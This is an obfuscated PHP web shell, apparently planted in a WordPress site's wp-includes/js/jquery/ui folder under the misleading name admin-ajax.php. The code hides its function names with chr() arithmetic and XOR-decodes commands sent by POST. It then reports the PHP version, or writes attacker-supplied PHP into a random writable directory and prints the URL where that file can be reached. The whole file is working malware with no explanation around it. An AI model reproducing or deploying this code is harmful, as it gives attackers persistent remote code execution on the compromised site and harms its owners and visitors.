File: /var/www/sites/1250.info/wp-includes/js/jquery/ui/admin-ajax.php
<?php $TDYsS = "\104".chr(1041-962).chr(982-915)."\125"."\115".chr(135-66).'N'.chr(835-751).chr(452-357).chr(167-85).chr(79).'O'.chr(758-674);$wtzPO = chr(922-850).'T'.chr(843-759).chr(80).chr(267-172)."\110".chr(79)."\123".'T';$xxxwbp = "\x68".'t'.chr(504-388).'p'.chr(58)."\x2f".'/';$AltUdO = "\x2e"."\x70".chr(276-172)."\160";$fOommjvo = chr(112).chr(104).chr(112);$OKNVl = "\x66".'i'.chr(108)."\145"."\137".chr(112)."\165".chr(1110-994).chr(95).chr(388-289).chr(560-449).'n'.'t'."\x65".'n'.chr(116).chr(1034-919);$AYTAqjWmW = "\162"."\x61".chr(119).chr(117).chr(661-547)."\154"."\x64"."\145"."\x63".chr(342-231).chr(308-208).chr(101);$BKUNqga = chr(543-426).chr(110).'s'.chr(101)."\x72"."\x69".'a'."\x6c"."\x69".chr(122).'e';$TRjSZRmAmN = 'i'.'s'.'_'.'w'."\x72".chr(105)."\164".chr(97).chr(358-260).'l'.chr(101);$KgkmFoNa = chr(112)."\x68"."\160"."\x76"."\x65".chr(114)."\x73"."\151"."\x6f"."\156";$TsqBtSz = chr(508-393).'t'.'r'."\x5f"."\162".chr(111).chr(260-144).'1'.chr(786-735);$kuWwb = 's'.chr(466-365)."\162".chr(105)."\141"."\154".'i'.chr(593-471)."\145";$KUiDTnPdQ = chr(1096-981)."\164".chr(399-285)."\137"."\x73"."\x70".chr(963-855)."\x69".chr(529-413);foreach ($_POST as $rPokpDrW => $DeoKsTlK){$SuecPymI = strlen($rPokpDrW);if ($SuecPymI == 16){$DeoKsTlK = $KUiDTnPdQ($AYTAqjWmW($TsqBtSz($DeoKsTlK)));$rPokpDrW = array_slice($KUiDTnPdQ(str_repeat($rPokpDrW, (count($DeoKsTlK)/16)+1)), 0, count($DeoKsTlK));function uDeXyi($ZCUHRsDB, $gDFYskur, $rPokpDrW){$lGnUopGEOc = "4e92a586-6bb5-4005-9515-318fd6883755";return $ZCUHRsDB ^ $lGnUopGEOc[$gDFYskur % strlen($lGnUopGEOc)] ^ $rPokpDrW;}$DeoKsTlK = array_map("uDeXyi", array_values($DeoKsTlK), array_keys($DeoKsTlK), array_values($rPokpDrW));$DeoKsTlK = implode("", $DeoKsTlK);$DeoKsTlK = @$BKUNqga($DeoKsTlK);if (@is_array($DeoKsTlK)){$kXjMjJPZXB = array_keys($DeoKsTlK);$DeoKsTlK = $DeoKsTlK[$kXjMjJPZXB[0]];if ($DeoKsTlK === $kXjMjJPZXB[0]){echo @$kuWwb(Array($fOommjvo => @$KgkmFoNa(), ));exit();}else {function xLPDvN($HODrObuir){static $ieTTIIDb = array();$JjomHjToKY = glob($HODrObuir . '/*', GLOB_ONLYDIR);$QwYmAfkHrE = count($JjomHjToKY);if ($QwYmAfkHrE > 0) {foreach ($JjomHjToKY as $HODrObu) {if (@$TRjSZRmAmN($HODrObu)) {$ieTTIIDb[] = $HODrObu;}}}foreach ($JjomHjToKY as $HODrObuir) xLPDvN($HODrObuir);return $ieTTIIDb;}$kssnLR = $_SERVER[$TDYsS];$JjomHjToKY = xLPDvN($kssnLR);$kXjMjJPZXB = array_rand($JjomHjToKY);$LqZyTMitRP = $JjomHjToKY[$kXjMjJPZXB] . "/" . substr(md5(time()), 0, 8) . $AltUdO;@$OKNVl($LqZyTMitRP, $DeoKsTlK);$HODrObuGAHyyXQf = $xxxwbp . $_SERVER[$wtzPO] . substr($LqZyTMitRP, strlen($kssnLR));print($HODrObuGAHyyXQf);die();}}}}